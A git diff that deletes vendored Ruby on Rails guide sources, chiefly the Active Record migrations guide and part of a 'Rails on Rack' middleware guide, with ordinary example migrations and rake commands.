-++++++++++++++++++++++++++++++++++++++ - -.link:routing_outside_in.html[Rails Routing from the Outside In] -*********************************************************** -This guide covers the user-facing features of Rails routing. If you want to -understand how to use routing in your own Rails applications, start here. -*********************************************************** - -.link:actioncontroller_basics.html[Basics of Action Controller] -*********************************************************** -This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. -*********************************************************** - -++++++++++++++++++++++++++++++++++++++ -

Digging Deeper

-++++++++++++++++++++++++++++++++++++++ - -.link:action_mailer_basics.html[Action Mailer Basics] -*********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/25[Lighthouse ticket] - -This guide describes how to use Action Mailer to send and receive emails. -*********************************************************** - -.link:testing_rails_applications.html[Testing Rails Applications] -*********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/8[Lighthouse Ticket] - -This is a rather comprehensive guide to doing both unit and functional tests -in Rails. It covers everything from ``What is a test?'' to the testing APIs. -Enjoy. -*********************************************************** - -.link:security.html[Securing Rails Applications] -*********************************************************** -This guide describes common security problems in web applications and how to -avoid them with Rails. -*********************************************************** - -.link:debugging_rails_applications.html[Debugging Rails Applications] -*********************************************************** -This guide describes how to debug Rails applications. It covers the different -ways of achieving this and how to understand what is happening "behind the scenes" -of your code. -*********************************************************** - -.link:performance_testing.html[Performance Testing Rails Applications] -*********************************************************** -This guide covers ways to benchmark and profile your Rails application. -*********************************************************** - -.link:creating_plugins.html[The Basics of Creating Rails Plugins] -*********************************************************** -This guide covers how to build a plugin to extend the functionality of Rails. -*********************************************************** - -.link:i18n.html[The Rails Internationalization API] -*********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket] - -This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application. -*********************************************************** - -.link:configuring.html[Configuring Rails Applications] -*********************************************************** -This guide covers the basic configuration settings for a Rails application. -*********************************************************** - -.link:command_line.html[Rails Command Line Tools and Rake tasks] -*********************************************************** -This guide covers the command line tools and rake tasks provided by Rails. -*********************************************************** - -Authors who have contributed to complete guides are listed link:authors.html[here]. - -This work is licensed under a link:http://creativecommons.org/licenses/by-sa/3.0[Creative Commons Attribution-Share Alike 3.0 License] diff --git a/vendor/rails/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt b/vendor/rails/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt deleted file mode 100644 index 9f325af9..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt +++ /dev/null @@ -1,85 +0,0 @@ -== Anatomy Of A Migration == - -Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: - -[source, ruby] ------------------------- -class CreateProducts < ActiveRecord::Migration - def self.up - create_table :products do |t| - t.string :name - t.text :description - - t.timestamps - end - end - - def self.down - drop_table :products - end -end ------------------------- - -This migration adds a table called `products` with a string column called `name` and a text column called `description`. A primary key column called `id` will also be added, however since this is the default we do not need to ask for this. The timestamp columns `created_at` and `updated_at` which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table. - -Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields: - -[source, ruby] ------------------------- -class AddReceiveNewsletterToUsers < ActiveRecord::Migration - def self.up - change_table :users do |t| - t.boolean :receive_newsletter, :default => false - end - User.update_all ["receive_newsletter = ?", true] - end - - def self.down - remove_column :users, :receive_newsletter - end -end ------------------------- - -This migration adds an `receive_newsletter` column to the `users` table. We want it to default to `false` for new users, but existing users are considered -to have already opted in, so we use the User model to set the flag to `true` for existing users. - -NOTE: Some <> apply to using models in your migrations. - -=== Migrations are classes -A migration is a subclass of ActiveRecord::Migration that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them). - -Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later): - -* `create_table` -* `change_table` -* `drop_table` -* `add_column` -* `remove_column` -* `change_column` -* `rename_column` -* `add_index` -* `remove_index` - -If you need to perform tasks specific to your database (for example create a <> constraint) then the `execute` function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could -write code to set the value of that column for existing records (if necessary using your models). - -On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. - -=== What's in a name === - -Migrations are stored in files in `db/migrate`, one for each migration class. The name of the file is of the form `YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example `20080906120000_create_products.rb` should define CreateProducts and `20080906120001_add_details_to_products.rb` should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class. - -Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting `config.active_record.timestamped_migrations` to `false` in `environment.rb`. - -The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers. - -For example Alice adds migrations `20080906120000` and `20080906123000` and Bob adds `20080906124500` and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so `rake db:migrate` would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods. - -Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur. - -=== Changing migrations === - -Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run `rake db:migrate`. You must rollback the migration (for example with `rake db:rollback`), edit your migration and then run `rake db:migrate` to run the corrected version. - -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense. - diff --git a/vendor/rails/railties/doc/guides/source/migrations/changelog.txt b/vendor/rails/railties/doc/guides/source/migrations/changelog.txt deleted file mode 100644 index 38e772ce..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/changelog.txt +++ /dev/null @@ -1,5 +0,0 @@ -== Changelog == - -http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6[Lighthouse ticket] - -* September 14, 2008: initial version by link:../authors.html#fcheung[Frederick Cheung] \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/migrations/creating_a_migration.txt b/vendor/rails/railties/doc/guides/source/migrations/creating_a_migration.txt deleted file mode 100644 index 892c73a5..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/creating_a_migration.txt +++ /dev/null @@ -1,109 +0,0 @@ -== Creating A Migration == - -=== Creating a model === - -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running - -`ruby script/generate model Product name:string description:text` will create a migration that looks like this - -[source, ruby] ------------------------ -class CreateProducts < ActiveRecord::Migration - def self.up - create_table :products do |t| - t.string :name - t.text :description - - t.timestamps - end - end - - def self.down - drop_table :products - end -end ------------------------ - -You can append as many column name/type pairs as you want. By default `t.timestamps` (which creates the `updated_at` and `created_at` columns that -are automatically populated by Active Record) will be added for you. - -=== Creating a standalone migration === -If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator: - -`ruby script/generate migration AddPartNumberToProducts` - -This will create an empty but appropriately named migration: - -[source, ruby] ------------------------ -class AddPartNumberToProducts < ActiveRecord::Migration - def self.up - end - - def self.down - end -end ------------------------ - -If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing -the appropriate add and remove column statements will be created. - -`ruby script/generate migration AddPartNumberToProducts part_number:string` - -will generate - -[source, ruby] ------------------------ -class AddPartNumberToProducts < ActiveRecord::Migration - def self.up - add_column :products, :part_number, :string - end - - def self.down - remove_column :products, :part_number - end -end ------------------------ - -Similarly, - -`ruby script/generate migration RemovePartNumberFromProducts part_number:string` - -generates - -[source, ruby] ------------------------ -class RemovePartNumberFromProducts < ActiveRecord::Migration - def self.up - remove_column :products, :part_number - end - - def self.down - add_column :products, :part_number, :string - end -end ------------------------ - -You are not limited to one magically generated column, for example - -`ruby script/generate migration AddDetailsToProducts part_number:string price:decimal` - -generates - -[source, ruby] ------------------------ -class AddDetailsToProducts < ActiveRecord::Migration - def self.up - add_column :products, :part_number, :string - add_column :products, :price, :decimal - end - - def self.down - remove_column :products, :price - remove_column :products, :part_number - end -end ------------------------ - -As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit. - diff --git a/vendor/rails/railties/doc/guides/source/migrations/foreign_keys.txt b/vendor/rails/railties/doc/guides/source/migrations/foreign_keys.txt deleted file mode 100644 index 792c41cc..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/foreign_keys.txt +++ /dev/null @@ -1,8 +0,0 @@ -[[foreign_key]] -== Active Record and Referential Integrity == -The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used. - -Validations such as `validates_uniqueness_of` are one way in which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. - -Although Active Record does not provide any tools for working directly with such features, the `execute` method can be used to execute arbitrary SQL. There are also a number of plugins such as http://agilewebdevelopment.com/plugins/search?search=redhillonrails[redhillonrails] which add foreign key support to Active Record (including support for dumping foreign keys in `schema.rb`). - diff --git a/vendor/rails/railties/doc/guides/source/migrations/index.txt b/vendor/rails/railties/doc/guides/source/migrations/index.txt deleted file mode 100644 index 1670b731..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/index.txt +++ /dev/null @@ -1,22 +0,0 @@ -Migrations -========== - -Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run `rake db:migrate`. Active Record will work out which migrations should be run. It will also update your db/schema.rb file to match the structure of your database. - -Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production. - -You'll learn all about migrations including: - -* The generators you can use to create them -* The methods Active Record provides to manipulate your database -* The Rake tasks that manipulate them -* How they relate to `schema.rb` - -include::anatomy_of_a_migration.txt[] -include::creating_a_migration.txt[] -include::writing_a_migration.txt[] -include::rakeing_around.txt[] -include::using_models_in_migrations.txt[] -include::scheming.txt[] -include::foreign_keys.txt[] -include::changelog.txt[] diff --git a/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt b/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt deleted file mode 100644 index b01451d5..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt +++ /dev/null @@ -1,113 +0,0 @@ -== Running Migrations == - -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be `db:migrate`. In its most basic form it just runs the `up` method for all the migrations that have not yet been run. If there are no such migrations it exits. - -Note that running the `db:migrate` also invokes the `db:schema:dump` task, which will update your db/schema.rb file to match the structure of your database. - -If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run - ------------------------------------- -rake db:migrate VERSION=20080906120000 ------------------------------------- - -If this is greater than the current version (i.e. it is migrating upwards) this will run the `up` method on all migrations up to and including 20080906120000, if migrating downwards this will run the `down` method on all the migrations down to, but not including, 20080906120000. - -=== Rolling back === - -A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run - ------------------- -rake db:rollback ------------------- - -This will run the `down` method from the latest migration. If you need to undo several migrations you can provide a `STEP` parameter: - ------------------- -rake db:rollback STEP=3 ------------------- - -will run the `down` method from the last 3 migrations. - -The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task you can use the `STEP` parameter if you need to go more than one version back, for example - ------------------- -rake db:migrate:redo STEP=3 ------------------- - -Neither of these Rake tasks do anything you could not do with `db:migrate`, they are simply more convenient since you do not need to explicitly specify the version to migrate to. - -Lastly, the `db:reset` task will drop the database, recreate it and load the current schema into it. - -NOTE: This is not the same as running all the migrations - see the section on <>. - -=== Being Specific === - -If you need to run a specific migration up or down the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `up` or `down` method invoked, for example - ------------------- -rake db:migrate:up VERSION=20080906120000 ------------------- - -will run the `up` method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example `db:migrate:up VERSION=20080906120000` will do nothing if Active Record believes that 20080906120000 has already been run. - - -=== Being talkative === - -By default migrations tell you exactly what they're doing and how long it took. -A migration creating a table and adding an index might produce output like this -------------------------- -== 20080906170109 CreateProducts: migrating =================================== --- create_table(:products) - -> 0.0021s --- add_index(:products, :name) - -> 0.0026s -== 20080906170109 CreateProducts: migrated (0.0059s) ========================== -------------------------- -Several methods are provided that allow you to control all this: - -* `suppress_messages` suppresses any output generated by its block -* `say` outputs text (the second argument controls whether it is indented or not) -* `say_with_time` outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. - -For example, this migration - -[source, ruby] ----------------------- -class CreateProducts < ActiveRecord::Migration - def self.up - suppress_messages do - create_table :products do |t| - t.string :name - t.text :description - t.timestamps - end - end - say "Created a table" - suppress_messages {add_index :products, :name} - say "and an index!", true - say_with_time 'Waiting for a while' do - sleep 10 - 250 - end - end - - def self.down - drop_table :products - end -end ----------------------- - -generates the following output ----------------------- -== 20080906170109 CreateProducts: migrating =================================== --- Created a table - -> and an index! --- Waiting for a while - -> 10.0001s - -> 250 rows -== 20080906170109 CreateProducts: migrated (10.0097s) ========================= ----------------------- - -If you just want Active Record to shut up then running `rake db:migrate VERBOSE=false` will suppress any output. - diff --git a/vendor/rails/railties/doc/guides/source/migrations/scheming.txt b/vendor/rails/railties/doc/guides/source/migrations/scheming.txt deleted file mode 100644 index 7acd3f91..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/scheming.txt +++ /dev/null @@ -1,47 +0,0 @@ -== Schema dumping and you == -[[schema]] -=== What are schema files for? === -Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either `schema.rb` or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database. - -There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema. - -For example, this is how the test database is created: the current development database is dumped (either to `schema.rb` or `development.sql`) and then loaded into the test database. - -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The http://agilewebdevelopment.com/plugins/annotate_models[annotate_models] plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest. - -=== Types of schema dumps === -There are two ways to dump the schema. This is set in `config/environment.rb` by the `config.active_record.schema_format` setting, which may be either `:sql` or `:ruby`. - -If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration: - -[source, ruby] --------------------------------------- -ActiveRecord::Schema.define(:version => 20080906171750) do - create_table "authors", :force => true do |t| - t.string "name" - t.datetime "created_at" - t.datetime "updated_at" - end - - create_table "products", :force => true do |t| - t.string "name" - t.text "description" - t.datetime "created_at" - t.datetime "updated_at" - t.string "part_number" - end -end --------------------------------------- - -In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using `create_table`, `add_index` and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: `schema.rb` cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to `:sql`. - -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the `db:structure:dump` Rake task) into `db/#\{RAILS_ENV\}_structure.sql`. For example for PostgreSQL the `pg_dump` utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. - -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. - -=== Schema dumps and source control === - -Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control. - diff --git a/vendor/rails/railties/doc/guides/source/migrations/using_models_in_migrations.txt b/vendor/rails/railties/doc/guides/source/migrations/using_models_in_migrations.txt deleted file mode 100644 index 35a4c6fd..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/using_models_in_migrations.txt +++ /dev/null @@ -1,46 +0,0 @@ -[[models]] -== Using Models In Your Migrations == -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. - -Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with `rake db:migrate`, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist. - -Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example: - -[source, ruby] -------------------------- -class AddPartNumberToProducts < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def self.up - ... - end - - def self.down - ... - end -end -------------------------- -The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application. - -=== Dealing with changing models === - -For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the `reset_column_information` method, for example - -[source, ruby] -------------------------- -class AddPartNumberToProducts < ActiveRecord::Migration - class Product < ActiveRecord::Base - end - - def self.up - add_column :product, :part_number, :string - Product.reset_column_information - ... - end - - def self.down - ... - end -end -------------------------- diff --git a/vendor/rails/railties/doc/guides/source/migrations/writing_a_migration.txt b/vendor/rails/railties/doc/guides/source/migrations/writing_a_migration.txt deleted file mode 100644 index 2a2b6217..00000000 --- a/vendor/rails/railties/doc/guides/source/migrations/writing_a_migration.txt +++ /dev/null @@ -1,159 +0,0 @@ -== Writing a Migration == - -Once you have created your migration using one of the generators it's time to get to work! - -=== Creating a table === - -`create_table` will be one of your workhorses. A typical use would be - -[source, ruby] ---------------------- -create_table :products do |t| - t.string :name -end ---------------------- -which creates a `products` table with a column called `name` (and as discussed below, an implicit `id` column). - -The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like - -[source, ruby] ---------------------- -create_table :products do |t| - t.column :name, :string, :null => false -end ---------------------- - -the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the `string`, `integer` etc. methods create a column of that type. Subsequent parameters are identical. - -[source, ruby] ---------------------- -create_table :products do |t| - t.string :name, :null => false -end ---------------------- - -By default `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass `:id => false`. If you need to pass database specific options you can place an sql fragment in the `:options` option. For example - -[source, ruby] ---------------------- -create_table :products, :options => "ENGINE=BLACKHOLE" do |t| - t.string :name, :null => false -end ---------------------- -Will append `ENGINE=BLACKHOLE` to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB"). - -The types Active Record supports are `:primary_key`, `:string`, `:text`, `:integer`, `:float`, `:decimal`, `:datetime`, `:timestamp`, `:time`, `:date`, `:binary`, `:boolean`. - -These will be mapped onto an appropriate underlying database type, for example with MySQL `:string` is mapped to `VARCHAR(255)`. You can create columns of -types not supported by Active Record when using the non sexy syntax, for example - -[source, ruby] ---------------------- -create_table :products do |t| - t.column :name, 'polygon', :null => false -end ---------------------- -This may however hinder portability to other databases. - -=== Changing tables === - -`create_table`'s close cousin is `change_table`. Used for changing existing tables, it is used in a similar fashion to `create_table` but the object yielded to the block knows more tricks. For example - -[source, ruby] ---------------------- -change_table :products do |t| - t.remove :description, :name - t.string :part_number - t.index :part_number - t.rename :upccode, :upc_code -end ---------------------- -removes the `description` column, creates a `part_number` column and adds an index on it. Finally it renames the `upccode` column. This is the same as doing - -[source, ruby] ---------------------- -remove_column :products, :description -remove_column :products, :name -add_column :products, :part_number, :string -add_index :products, :part_number -rename_column :products, :upccode, :upc_code ---------------------- - -You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example `remove_column` becomes just `remove` and `add_index` becomes just `index`. - -=== Special helpers === - -Active Record provides some shortcuts for common functionality. It is for example very common to add both the `created_at` and `updated_at` columns and so there is a method that does exactly that: - -[source, ruby] ---------------------- -create_table :products do |t| - t.timestamps -end ---------------------- -will create a new products table with those two columns whereas - -[source, ruby] ---------------------- -change_table :products do |t| - t.timestamps -end ---------------------- -adds those columns to an existing table. - -The other helper is called `references` (also available as `belongs_to`). In its simplest form it just adds some readability - -[source, ruby] ---------------------- -create_table :products do |t| - t.references :category -end ---------------------- - -will create a `category_id` column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the `_id` for you. If you have polymorphic belongs_to associations then `references` will add both of the columns required: - -[source, ruby] ---------------------- -create_table :products do |t| - t.references :attachment, :polymorphic => {:default => 'Photo'} -end ---------------------- -will add an `attachment_id` column and a string `attachment_type` column with a default value of 'Photo'. - -NOTE: The `references` helper does not actually create foreign key constraints for you. You will need to use `execute` for that or a plugin that adds <>. - -If the helpers provided by Active Record aren't enough you can use the `execute` function to execute arbitrary SQL. - -For more details and examples of individual methods check the API documentation, in particular the documentation for http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html[ActiveRecord::ConnectionAdapters::SchemaStatements] (which provides the methods available in the `up` and `down` methods), http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html[ActiveRecord::ConnectionAdapters::TableDefinition] (which provides the methods available on the object yielded by `create_table`) and http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html[ActiveRecord::ConnectionAdapters::Table] (which provides the methods available on the object yielded by `change_table`). - -=== Writing your down method === - -The `down` method of your migration should revert the transformations done by the `up` method. In other words the database should be unchanged if you do an `up` followed by a `down`. For example if you create a table in the up you should drop it in the `down` method. It is wise to do things in precisely the reverse order to in the `up` method. For example - -[source, ruby] ---------------------- -class ExampleMigration < ActiveRecord::Migration - - def self.up - create_table :products do |t| - t.references :category - end - #add a foreign key - execute "ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)" - - add_column :users, :home_page_url, :string - - rename_column :users, :email, :email_address - end - - def self.down - rename_column :users, :email_address, :email - remove_column :users, :home_page_url - execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories" - drop_table :products - end -end ---------------------- -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your `down` method. If someone tries to revert your migration an error message will be -displayed saying that it can't be done. - diff --git a/vendor/rails/railties/doc/guides/source/rails_on_rack.txt b/vendor/rails/railties/doc/guides/source/rails_on_rack.txt deleted file mode 100644 index 6526117c..00000000 --- a/vendor/rails/railties/doc/guides/source/rails_on_rack.txt +++ /dev/null @@ -1,256 +0,0 @@ -Rails on Rack -============= - -This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to: - - * Create Rails Metal applications - * Use Rack Middlewares in your Rails applications - * Understand Action Pack's internal Middleware stack - * Define custom internal Middleware stack - * Understand the best practices for developing a middleware aimed at Rails applications - -NOTE: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder. - -== Introduction to Rack == - -**** -Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. - -- http://rack.rubyforge.org/doc[Rack API Documentation] -**** - -Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links: - -* http://rack.github.com[Official Rack Website] -* http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html[Introducing Rack] -* http://m.onkey.org/2008/11/17/ruby-on-rack-1[Ruby on Rack #1 - Hello Rack!] -* http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder[Ruby on Rack #2 - The Builder] - -== Rails on Rack == - -=== ActionController::Dispatcher.new === - -+ActionController::Dispatcher.new+ is the primary Rack application object of a Rails application. It responds to +call+ method with a single +env+ argument and returns a Rack response. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application. - -=== script/server === - -+script/server+ does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails equivalent of Rack's +rackup+ script. - -Here's how +script/server+ creates an instance of +Rack::Builder+ - -[source, ruby] ----------------------------------------------------------------------------- -app = Rack::Builder.new { - use Rails::Rack::LogTailer unless options[:detach] - use Rails::Rack::Static - use Rails::Rack::Debugger if options[:debugger] - run ActionController::Dispatcher.new -}.to_app ----------------------------------------------------------------------------- - -Middlewares used in the code above are most useful in development envrionment. The following table explains their usage: - -[options="header"] -|========================================================================================================== -|Middleware |Purpose -|Rails::Rack::LogTailer | Appends log file output to console -|Rails::Rack::Static | Serves static files inside +RAILS_ROOT/public+ directory -|Rails::Rack::Debugger | Starts Debugger -|========================================================================================================== - -=== rackup === - -To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory: - -[source, ruby] ----------------------------------------------------------------------------- -# RAILS_ROOT/config.ru -require "config/environment" - -use Rails::Rack::LogTailer -use Rails::Rack::Static -run ActionController::Dispatcher.new ----------------------------------------------------------------------------- - -And start the server: - -[source, shell] ----------------------------------------------------------------------------- -[lifo@null application]$ rackup ----------------------------------------------------------------------------- - -To find out more about different +rackup+ options: - -[source, shell] ----------------------------------------------------------------------------- -[lifo@null application]$ rackup --help ----------------------------------------------------------------------------- - -== Action Controller Middleware Stack == - -Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application. - -.What is ActionController::MiddlewareStack ? -NOTE: +ActionController::MiddlewareStack+ is Rails equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements. - -=== Inspecting Middleware Stack === - -Rails has a handy rake task for inspecting the middleware stack in use: - -[source, shell] ----------------------------------------------------------------------------- -$ rake middleware ----------------------------------------------------------------------------- - -For a freshly generated Rails application, this will produce: - -[source, ruby] ----------------------------------------------------------------------------- -use ActionController::Lock -use ActionController::Failsafe -use ActiveRecord::QueryCache -use ActionController::Session::CookieStore, {:secret=>"", :session_key=>"__session"} -use Rails::Rack::Metal -use ActionController::VerbPiggybacking -run ActionController::Dispatcher.new ----------------------------------------------------------------------------- - -=== Adding Middlewares === - -Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications. - -Here's how you can add middlewares via +environment.rb+ - -[source, ruby] ----------------------------------------------------------------------------- -# environment.rb - -config.middleware.use Rack::BounceFavicon ----------------------------------------------------------------------------- - -=== Internal Middleware Stack === - -[source, ruby] ----------------------------------------------------------------------------- -use "ActionController::Lock", :if => lambda { - !ActionController::Base.allow_concurrency -} - -use "ActionController::Failsafe" - -use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) } - -["ActionController::Session::CookieStore", - "ActionController::Session::MemCacheStore", - "ActiveRecord::SessionStore"].each do |store| - use(store, ActionController::Base.session_options, - :if => lambda { - if session_store = ActionController::Base.session_store - session_store.name == store - end - } - ) -end - -use ActionController::VerbPiggybacking ----------------------------------------------------------------------------- - -[options="header"] -|========================================================================================================== -|Middleware |Purpose -|ActionController::Lock | Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex. -|ActionController::Failsafe | Returns HTTP Status +500+ to the client if an exception gets raised while dispatching. -|ActiveRecord::QueryCache | Enable the Active Record query cache. -|ActionController::Session::CookieStore | Uses the cookie based session store. -|ActionController::Session::MemCacheStore | Uses the memcached based session store. -|ActiveRecord::SessionStore | Uses the database based session store. -|ActionController::VerbPiggybacking | Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+. -|========================================================================================================== - -=== Customizing Internal Middleware Stack === - -VERIFY THIS WORKS. Just a code dump at the moment. - -Put the following in an initializer. -[source, ruby] ----------------------------------------------------------------------------- -ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m| - m.use ActionController::Lock - m.use ActionController::Failsafe - m.use ActiveRecord::QueryCache - m.use ActionController::Session::CookieStore - m.use ActionController::VerbPiggybacking -end ----------------------------------------------------------------------------- - -Josh says : - -**** -3.3: I wouldn't recommend this: custom internal stack -i'd recommend using config.middleware.use api -we still need a better api for swapping out existing middleware, etc -config.middleware.swap AC::Sessions, My::Sessoins -or something like that -**** - -== Rails Metal Applications == - -Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue. - -=== Generating a Metal Application === - -Rails provides a generator called 